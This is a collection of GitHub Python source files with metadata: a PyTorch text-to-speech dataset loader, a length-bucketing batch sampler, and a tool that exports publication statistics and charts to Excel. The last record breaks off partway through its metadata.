{"seq_id": "73178932091", "text": "#!/usr/local/bin/python\n# -*- coding:utf-8 -*-\n#\n# tts/Alternative/dataset.py\n#\n# NeuraVoice dataset\n#\n\nimport sys\nsys.path.append('../')\nimport os\nimport numpy as np\nimport torch\nfrom tools.libaudio.feature import melspectrogram\nfrom tools.libaudio.utils import utterance_edge_indices, normalize, reshape_with_window\nfrom tools.libaudio.encodes import split_signal, mulaw_encode\nfrom datasets.voice_dataset import VoiceDataset\nfrom mlutils.utils import to_onehot\nfrom models.phoneme import Phoneme43\n\n\nclass NeuraVoiceDataset(VoiceDataset):\n\n    def __init__(\n            self, sample_rate=24000, key_name='jsut_ver1.1',\n            with_conditions=False, remove_silence=True,\n            batch_size=1, window_size=1000,\n            n_fft=2048, hop_length=300, power=2.0, verbose=False):\n\n        self.__root_dir__ = f'/diskB/6/Datasets/VoiceData/{key_name}/preprocessed'\n        self.__wav_dir__ = f'/diskB/6/Datasets/VoiceData/{key_name}/preprocessed/wav24kHz'\n        self.__f0_dir__ = f'{self.__root_dir__}/f0'\n        self.__phoneme_dir__ = f'{self.__root_dir__}/phoneme'\n        self.__sample_rate__ = sample_rate\n        self.__with_conditions__ = with_conditions\n        self.__remove_silence__ = remove_silence\n        self.__batch_size__ = batch_size\n        self.__window_size__ = window_size\n        self.__n_fft__ = n_fft\n        self.__hop_length__ = hop_length\n        self.__power__ = power\n        self.verbose = verbose\n\n        self.wav_file_names = os.listdir(self.__wav_dir__)\n        self.f0_file_names = os.listdir(self.__f0_dir__)\n        self.phonemes_file_names = os.listdir(self.__phoneme_dir__)\n\n    def char_to_wav(self, items):\n        \"\"\"Wavs, Mels, Labels.\n        returns:\n            - wavs (torch.FloatTensor): wav (N, T) *not used\n            - targets (torch.FloatTensor): wav (N, T) *not used\n            - mels (torch.FloatTensor): mel spectrogram (N, T, H)\n            - labels (torch.FloatTensor): character sequence (N, U)\n        \"\"\"\n        wavs = []\n        targets = []\n        labels = []\n        for i, item in enumerate(items):\n            # encode wav\n            start, end = utterance_edge_indices(item.get('wav'))\n            wav_encoded = mulaw_encode(item['wav'][start:end])\n\n            # wav & target\n            wav = torch.FloatTensor(wav_encoded[:-1])\n            target = torch.FloatTensor(wav_encoded[1:])\n\n            # mel\n            T = wav.shape[0]\n\n            # labels\n            label = torch.LongTensor(\n                to_onehot(item['phonemes'], n_class=len(Phoneme43)))\n\n            # list of Tensors\n            wavs += [wav]\n            targets += [target]\n            labels += [label]\n\n        # list to matrix\n        if self.__batch_size__ > 1:\n            wavs = torch.FloatTensor(self.pad(wavs))\n            targets = torch.FloatTensor(self.pad(targets))\n            labels = torch.FloatTensor(self.pad(labels))\n        else:\n            wavs = torch.stack(wavs, dim=0)\n            targets = torch.stack(targets, dim=0)\n            labels = torch.stack(labels, dim=0)\n\n        return wavs, targets, labels\n\n    def char_to_mel(self, items):\n        \"\"\"Wavs, Mels, Labels.\n        returns:\n            - wavs (torch.FloatTensor): wav (N, T) *not used\n            - mels (torch.FloatTensor): mel spectrogram (N, T, H)\n            - labels (torch.FloatTensor): character sequence (N, U)\n        \"\"\"\n        mels = []\n        labels = []\n        for i, item in enumerate(items):\n            mels += [torch.FloatTensor(self.wav_to_mel(item['wav'])).transpose(0, 1)]\n            labels += [torch.LongTensor(\n                to_onehot(item['phonemes'], n_class=len(Phoneme43)))]\n        if self.__batch_size__ > 1:\n            mels = torch.FloatTensor(self.pad(mels))\n            labels = torch.LongTensor(self.pad(labels))\n        else:\n            mels = torch.stack(mels, dim=0)\n            labels = torch.stack(labels, dim=0)\n        if self.verbose:\n            print(mels)\n            print(labels)\n        return mels, labels\n\n    def pad(self, items, constant_value=0):\n        \"\"\"Add padding to items.\n\n        args:\n            - items (list of toch.Tensor):\n        \"\"\"\n        lens = [item.shape[0] for item in items]\n        batch = len(items)\n        max_len = np.max(lens)\n        dim = len(items[0].shape)\n        if self.verbose:\n            print(f'max len {max_len}')\n            print(f'item shape {items[0].shape}')\n        if dim == 2:\n            H = items[0].shape[1]\n            result = np.zeros((batch, max_len, H))\n        else:\n            result = np.zeros((batch, max_len))\n        if self.verbose:\n            print(f'final shape {result.shape}')\n        for i, item in enumerate(items):\n            if isinstance(item, torch.Tensor):\n                item = item.numpy()\n            if dim == 1:\n                pad_len = max_len - len(item)\n                result[i] = np.pad(item, (0, pad_len), mode='constant',\n                    constant_values=constant_value)\n            if dim == 2:\n                pad_len = max_len - item.shape[0]  # (T, H)\n                result[i] = np.pad(item, ((0, pad_len), (0, 0)), mode='constant',\n                    constant_values=constant_value)\n        if self.verbose:\n            print(f'result shape {result.shape}')\n            print(f'result[0] shape {result[0]}')\n            print(f'result[-1] shape {result[-1]}')\n        return result\n\n    def mel_to_wav(self, items):\n        \"\"\"Wavs, Mels, Labels.\n        returns:\n            - wavs (torch.FloatTensor): wav (N, T) *not used\n            - targets (torch.FloatTensor): wav (N, T) *not used\n            - mels (torch.FloatTensor): mel spectrogram (N, T, H)\n            - labels (torch.FloatTensor): character sequence (N, U)\n        \"\"\"\n        wavs = []\n        targets = []\n        mels = []\n        for i, item in enumerate(items):\n            # encode wav\n            start, end = utterance_edge_indices(item.get('wav'))\n            wav_raw_trim = item['wav'][start:end]\n            wav_encoded = mulaw_encode(wav_raw_trim)\n\n            # wav & target\n            wav = torch.FloatTensor(wav_encoded[:-1])\n            target = torch.FloatTensor(wav_encoded[1:])\n\n            # mel\n            T = wav.shape[0]\n            mel = torch.FloatTensor(\n                self.upsample(\n                    torch.FloatTensor(self.wav_to_mel(wav_raw_trim[:-1])), T))\n\n            # list of Tensors\n            wavs += [wav]\n            targets += [target]\n            mels += [mel]\n\n        # list to matrix\n        if self.__batch_size__ > 1:\n            wavs = torch.FloatTensor(self.pad(wavs))\n            targets = torch.FloatTensor(self.pad(targets))\n            mels = torch.FloatTensor(self.pad(mels))\n        else:\n            wavs = torch.stack(wavs, dim=0)\n            targets = torch.stack(targets, dim=0)\n            mels = torch.stack(mels, dim=0)\n\n        return wavs, targets, mels\n\n    def wav_to_c_f(self, wav):\n        \"\"\"Wav to Coarse, Fine.\n\n        args:\n            - wav (np.array):\n        \"\"\"\n        return split_signal(normalize(wav), from_bit=16, to_bit=8)\n\n    def wav_to_mel(self, wav):\n        \"\"\"Wav to Mel.\n\n        args:\n            - wav (np.array):\n        \"\"\"\n        return melspectrogram(\n            wav, sample_rate=self.__sample_rate__,\n            n_fft=self.__n_fft__, hop_length=self.__hop_length__,\n            power=self.__power__)\n\n    def upsample(self, mel, target_step: int):\n        \"\"\"\n        args:\n            - mel (torch.FloatTensor): (H, T)\n            - target_step:\n        returns:\n            - upsampled_mel (torch.FloatTensor): (H, T)\n        \"\"\"\n        mel_upsample = torch.nn.functional.interpolate(\n            mel.unsqueeze(0), target_step, mode='linear', align_corners=True)\n        return mel_upsample.squeeze().transpose(0,1)\n", "repo_name": "kazukiotsuka/Alternative", "sub_path": "dataset.py", "file_name": "dataset.py", "file_ext": "py", "file_size_in_byte": 7801, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.path.append", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "datasets.voice_dataset.VoiceDataset", "line_number": 22, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 44, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 45, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 46, "usage_type": "call"}, {"api_name": "tools.libaudio.utils.utterance_edge_indices", "line_number": 61, "usage_type": "call"}, {"api_name": "tools.libaudio.encodes.mulaw_encode", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 72, "usage_type": "call"}, {"api_name": "mlutils.utils.to_onehot", "line_number": 73, "usage_type": "call"}, {"api_name": "models.phoneme.Phoneme43", "line_number": 73, "usage_type": "argument"}, {"api_name": "torch.FloatTensor", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 103, "usage_type": "call"}, {"api_name": "mlutils.utils.to_onehot", "line_number": 104, "usage_type": "call"}, {"api_name": "models.phoneme.Phoneme43", "line_number": 104, "usage_type": "argument"}, {"api_name": "torch.FloatTensor", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 133, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 137, "usage_type": "attribute"}, {"api_name": "numpy.pad", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 145, "usage_type": "call"}, {"api_name": "tools.libaudio.utils.utterance_edge_indices", "line_number": 166, "usage_type": "call"}, {"api_name": "tools.libaudio.encodes.mulaw_encode", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 172, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 188, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 191, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 193, "usage_type": "call"}, {"api_name": "tools.libaudio.encodes.split_signal", "line_number": 203, "usage_type": "call"}, {"api_name": "tools.libaudio.utils.normalize", "line_number": 203, "usage_type": "call"}, {"api_name": "tools.libaudio.feature.melspectrogram", "line_number": 211, "usage_type": "call"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 224, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 224, "usage_type": "attribute"}]}
{"seq_id": "5572966635", "text": "from torch.utils.data import Sampler\nimport random\nfrom operator import itemgetter\nfrom torch.utils.data import Dataset\nfrom functools import partial\nfrom typing import List, Optional, Tuple, Union\n\n\ndef to_list(arr):\n    return(arr.tolist())\n\n\nclass ListDataset(Dataset):\n    def __init__(self, \n                *data : List[torch.tensor]):\n        \"\"\"\n        Args:\n            data (list): (mulitple) lists each containing torch.tensors\n        \"\"\"\n        \n        self.dataset = list(zip(*data))\n        \n    def __getitem__(self, index):\n        return self.dataset[index]\n    \n    def __len__(self):\n        return len(self.dataset)\n\ndef pad_length_right_end(tensor, n_pad, value=0):\n    \n    return torch.nn.functional.pad(tensor, (0, 0, 0, n_pad), 'constant', value)\n\ndef collate_fn(batch):\n    longest = max([len(x[0]) for x in batch])\n    padded = [list(map(partial(pad_length_right_end, n_pad=longest-len(sample[0])), sample)) for sample in batch]\n    padded = tuple(map(torch.stack, zip(*padded)))\n    return padded\n\n\nclass BatchSamplerRandomSimilarLength(Sampler):\n    \"\"\"\n    Batch sampler that samples indices of a dataset with simlar lengths\n    \n    Attributes: \n        batch_size (int) : size of resulting batches \n        super_batch_size (int) : size of the superset of indices that will be shuffled together \n        shuffle (bool) : Whether to shuffle batches \n        indices (List[Tuple[int, int]]) : Contains the the (index, length) of each datapoint in the dataset\n        \n        \n    \"\"\"\n    def __init__(self, \n                 dataset : ListDataset, \n                 batch_size : int = 32, \n                 indices : List = None, \n                 shuffle : bool = True, \n                 superset_factor : int = 4):\n        \n        \"\"\"\n        Args: \n            dataset (ListDataset) : a dataset containing a List[Tuple[*torch.tensor]]\n            batch_size (int) : batch size \n            super_batch_size (int) : size of the superset of indices that will respectively be shuffled  \n            shuffle (bool) : Whether to shuffle batches \n            indices (List[Tuple[int, int]]) : Contains the the (index, length) of each datapoint in the dataset\n        \"\"\"\n        self.batch_size = batch_size\n        self.super_batch_size = superset_factor * batch_size\n        self.shuffle = shuffle\n        # get the indicies and length\n        self.indices = [(i, len(item[0])) for i, item in enumerate(dataset)]\n        # if indices are passed, then use only the ones passed (for ddp)\n        if indices is not None:\n            self.indices = torch.tensor(self.indices)[indices].tolist()\n            \n      \n    def to_list(self, arr):\n        return(arr.tolist())\n    \n    def __iter__(self):\n        \"\"\"\n        Returns indices of the dataset batched by similar length. \n    \n        Sorts indices by data length, divides them into a set of super-batches. \n        Shuffles each of the super-batches and then pends them together. \n        Then divides the indices into batches. \n        Because of this the length of the datapoinrs in the will be similar but each batch will contain some randomness\n        \"\"\"\n        \n        if self.shuffle:\n            random.shuffle(self.indices)\n        \n        # split indices into super set of pooled by length \n        superset = tuple(np.array_split(np.array(sorted(self.indices, key=itemgetter(1))), (len(self.indices) // self.super_batch_size) + 1 ))\n        # shuffle each of the supersets with map\n        _ = list(map(np.random.shuffle, superset))\n        # make one list again \n        pooled_indices = np.concatenate([i[:, 0] for i in superset])\n        # get batches\n        batches = np.array_split(pooled_indices, (len(self.indices) // self.batch_size) + 1 )\n        # shuffle batchs \n        batches = list(map(self.to_list, batches))\n        if self.shuffle:\n            random.shuffle(batches)\n        for batch in batches:\n            yield batch\n\n    def __len__(self):\n        return len(self.indices) // self.batch_size\n    \nif __name__ == \"__main__\":   \n    \n    # example dataset: \n    x = []\n    y = []\n    for i in range(100):\n        length = torch.randint(low=0, high=10000, size=(1, ))[0]\n        x.append(torch.randint(low=0, high=10, size=(length, 3)))\n        y.append(torch.randint(low=0, high=10, size=(length, 1)))\n        \n    dataset = ListDataset(x, y)\n    loader = torch.utils.data.DataLoader(dataset, collate_fn=collate_fn, \n                                        batch_sampler = BatchSamplerRandomSimilarLength(dataset, 10, superset_factor=2, shuffle=True))\n", "repo_name": "frederikkemarin/toolbox", "sub_path": "PyTorch_random_similar_length_data.py", "file_name": "PyTorch_random_similar_length_data.py", "file_ext": "py", "file_size_in_byte": 4579, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.utils.data.tensor", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.utils.data.nn.functional.pad", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.utils.data.nn", "line_number": 31, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 31, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.utils.data.stack", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.utils.data.Sampler", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 55, "usage_type": "name"}, {"api_name": "torch.utils.data.tensor", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 74, "usage_type": "name"}, {"api_name": "random.shuffle", "line_number": 91, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 94, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.utils.data.randint", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 117, "usage_type": "name"}, {"api_name": "torch.utils.data.randint", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 118, "usage_type": "name"}, {"api_name": "torch.utils.data.randint", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 119, "usage_type": "name"}, {"api_name": "torch.utils.data.utils.data.DataLoader", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.utils.data.utils", "line_number": 122, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 122, "usage_type": "name"}]}
{"seq_id": "36308782771", "text": "\nimport os\nimport configparser\nimport sys\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mticker\nimport re\nimport io\nsys.path.append('../')\nimport database.db as db\n\ndef import_pub_data():\n    from pathlib import Path\n    HERE = Path(__file__).parent.resolve()\n    CONFIG_PATH = HERE / '../settings.ini'\n\n    parser = configparser.ConfigParser()\n    parser.read(CONFIG_PATH)\n\n    first_c_lower = parser.get('PUBLICATION_DATA', 'FIRST_C_LOWER')\n    second_c_lower = parser.get('PUBLICATION_DATA', 'SECOND_C_LOWER')\n    third_c_lower = parser.get('PUBLICATION_DATA', 'THIRD_C_LOWER')\n\n    return first_c_lower, second_c_lower, third_c_lower\n\nclass StatisticsExportation:\n\n    def __init__(self, from_year, to_year, agg_data=False, stat_diagrams=False, department_stats=False, outpath='C:/export.xlsx', professors=None, df=None):\n        self.first_cat, self.second_cat, self.third_cat = import_pub_data()\n        self.from_year = from_year\n        self.to_year = to_year\n        self.worksheet = None\n        self.outpath = outpath\n        self.export = {'agg_data': agg_data, 'stat_diagrams': stat_diagrams, 'department_stats': department_stats}\n        self.df = df\n        self.professors = professors\n\n        if self.df is None:\n            self.df = db.get_df_by_year([from_year, to_year])\n\n    def create_num_of_documents_per_year_plot(self):\n        '''\n        Creates a plot which shows the process\n        of the number of documents over the years\n        '''\n\n        num_of_docs_by_year = self.df.groupby(['Year']).size()   # get number of documents by year\n\n        years = self.df['Year'].unique() # get unique values of years from data frame\n\n        plt.clf()\n\n        plt.xlabel('Year')\n        plt.ylabel('Number of Docs')\n\n        plt.gca().xaxis.set_major_locator(mticker.MultipleLocator(1))   # only integers in year axis\n\n        plot = plt.plot(years, num_of_docs_by_year)    # create the plot\n\n        imgdata = io.BytesIO()\n        plt.savefig(imgdata)\n\n        return imgdata\n\n    def create_num_of_documents_per_year_plot_top_ten(self):\n        '''\n        Creates a plot which shows the evolution\n        of the number of documents, whose average percentile is over 90, over the years\n        '''\n\n        top_ten_rows = self.df.loc[self.df['Average Percentile'] >= 90.0]\n\n        num_of_docs_per_year_top_ten = top_ten_rows.groupby(['Year']).size()   # get number of documents in top ten percentile by year\n\n        years = self.df['Year'].unique() # get unique values of years from data frame\n\n        plt.clf()\n\n        plt.xlabel('Year')\n        plt.ylabel('Number of Docs (Top 10)')\n\n        plt.gca().yaxis.set_major_locator(mticker.MultipleLocator(1)) \n\n        plt.gca().xaxis.set_major_locator(mticker.MultipleLocator(1))   # only integers in year axis\n\n        plot = plt.plot(years, num_of_docs_per_year_top_ten)    # create the plot\n\n        imgdata = io.BytesIO()\n        plt.savefig(imgdata)\n\n        return imgdata\n\n    def create_citescore_mean_per_year_plot(self):\n        '''\n        Creates a plot which shows the evolution\n        of citescore mean over the years\n        '''\n\n        citescores = self.df.groupby('Year')['CiteScore'].mean()\n\n        years = self.df['Year'].unique()\n\n        plt.clf()\n\n        plt.xlabel('Year')\n        plt.ylabel('CiteScore (Mean)')\n\n        plt.gca().xaxis.set_major_locator(mticker.MultipleLocator(1))   # only integers in year axis\n\n        plot = plt.plot(years, citescores)    # create the plot\n\n        imgdata = io.BytesIO()\n        plt.savefig(imgdata)\n\n        return imgdata\n\n    def create_avg_percentile_per_year_plot(self):\n        '''\n        Creates a plot which shows the evolution\n        of average percentile mean over the years\n        '''\n\n        citescores = self.df.groupby('Year')['Average Percentile'].mean()    # find mean by year\n\n        years = self.df['Year'].unique()\n\n        plt.clf()\n\n        plt.xlabel('Year')\n        plt.ylabel('Average Percentile (Mean)')\n\n        plt.gca().xaxis.set_major_locator(mticker.MultipleLocator(1))   # only integers in year axis\n\n        plot = plt.plot(years, citescores)    # create the plot\n\n        imgdata = io.BytesIO()\n        plt.savefig(imgdata)\n\n        return imgdata\n\n    def create_citescore_max_per_year_barplot(self):\n        '''\n        Creates a plot which shows the evolution\n        of maximum CiteScore over the years\n        '''\n\n        years = self.df['Year'].unique()\n        citescore_max = self.df.groupby('Year')['CiteScore'].max()\n\n        plt.clf()\n\n        plt.xlabel('Year')\n        plt.ylabel('Maximum CiteScore')\n\n        plt.gca().xaxis.set_major_locator(mticker.MultipleLocator(1))   # only integers in year axis\n\n        plot = plt.bar(years, citescore_max)   # create the barplot\n\n        imgdata = io.BytesIO()\n        plt.savefig(imgdata)\n\n        return imgdata\n\n    def create_author_list(self):\n        n=2\n        author_lst = list()\n        for authors in self.df['Authors']:\n            author_lst.append(list(map(str.strip, re.findall(\",\".join([\"[^,]+\"] * n), str(authors)))))\n        return author_lst\n        \n    def create_final_list(self, professors):\n        final_lst = list()\n        for professor in professors:\n            prof_name = str(professor[1]+', '+professor[0][:1]+'.')\n            indexes = list(self.df['Authors'].str.find(prof_name))\n            indexes = [i for i in range(len(indexes)) if indexes[i] != -1]\n            average = float(self.df['Average Percentile'].iloc[indexes].mean())\n            try:\n                max_year = self.df['Year'].max().astype(int)\n                min_year = self.df['Year'].min().astype(int)\n            except:\n                max_year = int(self.df['Year'].max())\n                min_year = int(self.df['Year'].min())\n            final_lst.append({'Name': professor[0] + ' ' + professor[1], 'Department': professor[2], \n                                'Ranking': round(average, 3) if not pd.isna(average) else 0, 'Years': str(min_year) + ' - ' + str(max_year) \n                                                                        if min_year != max_year else min_year})\n        return final_lst\n\n    def create_percentile_rank_barplot(self):\n        '''\n        Creates a bar plot, which shows how many\n        journals exist in each category (Average Percentile >= 95% etc.)\n        '''\n        categories = ['<= 50%', '50% - 79,9%', '80% - 94,99%', '>= 95%']\n\n        first_category = self.df.loc[self.df['Average Percentile'] >= float(self.first_cat)]['Average Percentile']    # find all the journals with average percentile >= 95%\n\n        second_category = self.df.loc[(self.df['Average Percentile'] >= float(self.second_cat)) & (self.df['Average Percentile'] < float(self.first_cat))]['Average Percentile']\n\n        third_category = self.df.loc[(self.df['Average Percentile'] >= float(self.third_cat)) & (self.df['Average Percentile'] < float(self.second_cat))]['Average Percentile']\n\n        fourth_category = self.df.loc[(self.df['Average Percentile'] <= float(self.third_cat))]['Average Percentile']\n\n        values = [fourth_category.size, third_category.size, second_category.size, first_category.size]\n\n        plt.clf()\n\n        plt.xlabel('Average Percentile')\n        plt.ylabel('Number of Docs')\n\n        barplot = plt.bar(categories, values)    # create the barplot\n        \n        imgdata = io.BytesIO()\n        plt.savefig(imgdata)\n\n        return imgdata\n\n    def create_authors_overall_ranking_excel(self):\n\n        professors = db.fetch_professors_from_db()\n\n        author_lst = self.create_author_list()\n\n        return pd.DataFrame(self.create_final_list(professors))\n\n    def create_professor_rank_by_year(self, professor):\n        prof_name = professor['Surname']+', '+professor['Name'][:1]+'.'\n        indexes = list(self.df['Authors'].str.find(prof_name))\n        indexes = [i for i in range(len(indexes)) if indexes[i] != -1]\n        values = self.df[['Average Percentile', 'Year']].iloc[indexes]\n        values['Name'] = prof_name\n        tmp_df = values.groupby(['Name', 'Year'], as_index=False).agg({'Average Percentile' : 'mean'})\n\n        plt.clf()\n\n        plt.xlabel('Year')\n        plt.ylabel('Average of Average Percentile')\n\n        plt.gca().xaxis.set_major_locator(mticker.MultipleLocator(1))\n\n        plt.title(prof_name)\n\n        plot = plt.bar(tmp_df['Year'], tmp_df['Average Percentile'])   # create the barplot\n\n        imgdata = io.BytesIO()\n        plt.savefig(imgdata)\n\n        return imgdata\n\n    def write_to_excel(self):\n        '''\n        Writes all the info to excel file\n        '''\n        try:\n\n            # Create a Pandas Excel writer using XlsxWriter as the engine.\n            writer = pd.ExcelWriter(path=self.outpath, engine='xlsxwriter')\n            \n            if self.export['agg_data']:\n                self.df.to_excel(writer, sheet_name='Aggregated Data')\n            \n            if self.export['stat_diagrams']:\n                if self.are_multiple_years():\n                    workbook  = writer.book\n                    worksheet = workbook.add_worksheet('Documents Per Year')\n                    worksheet.insert_image(0,0, '', {'image_data': self.create_num_of_documents_per_year_plot()})\n                    worksheet = workbook.add_worksheet('Top Ten Per Year')\n                    worksheet.insert_image(0,0, '', {'image_data': self.create_num_of_documents_per_year_plot_top_ten()})\n                    worksheet = workbook.add_worksheet('CiteScore Mean Per Year')\n                    worksheet.insert_image(0,0, '', {'image_data': self.create_citescore_mean_per_year_plot()})\n                    worksheet = workbook.add_worksheet('Avg Percentile Mean Per Year')\n                    worksheet.insert_image(0,0, '', {'image_data': self.create_avg_percentile_per_year_plot()})\n                    worksheet = workbook.add_worksheet('Max CiteScore Per Year')\n                    worksheet.insert_image(0,0, '', {'image_data': self.create_citescore_max_per_year_barplot()})\n                    if self.professors is not None: \n                        for professor in self.professors:\n                            worksheet = workbook.add_worksheet(professor['Surname'] + ' ' + professor['Name'][:1]+'.')\n                            worksheet.insert_image(0,0, '', {'image_data': self.create_professor_rank_by_year(professor)})\n                else:\n                    workbook  = writer.book\n                    worksheet = workbook.add_worksheet('Average Percentile Rank')\n                    worksheet.insert_image(0,0, '', {'image_data': self.create_percentile_rank_barplot()})\n\n            if self.export['department_stats']:\n                dep_stats = self.create_authors_overall_ranking_excel()\n                dep_stats.to_excel(writer, sheet_name='Department Statistics')\n\n            # Close the Pandas Excel writer and output the Excel file.\n            writer.save()\n        except Exception as e:\n            print(e)\n            return False\n\n        return True\n\n    def are_multiple_years(self):\n        return int(self.from_year) != int(self.to_year)\n", "repo_name": "dimizisis/scopus_app", "sub_path": "client/export/statistics.py", "file_name": "statistics.py", "file_ext": "py", "file_size_in_byte": 11143, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.path.append", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 15, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 18, "usage_type": "call"}, {"api_name": "database.db.get_df_by_year", "line_number": 40, "usage_type": "call"}, {"api_name": "database.db", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.ticker", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.ticker", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.ticker", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 109, 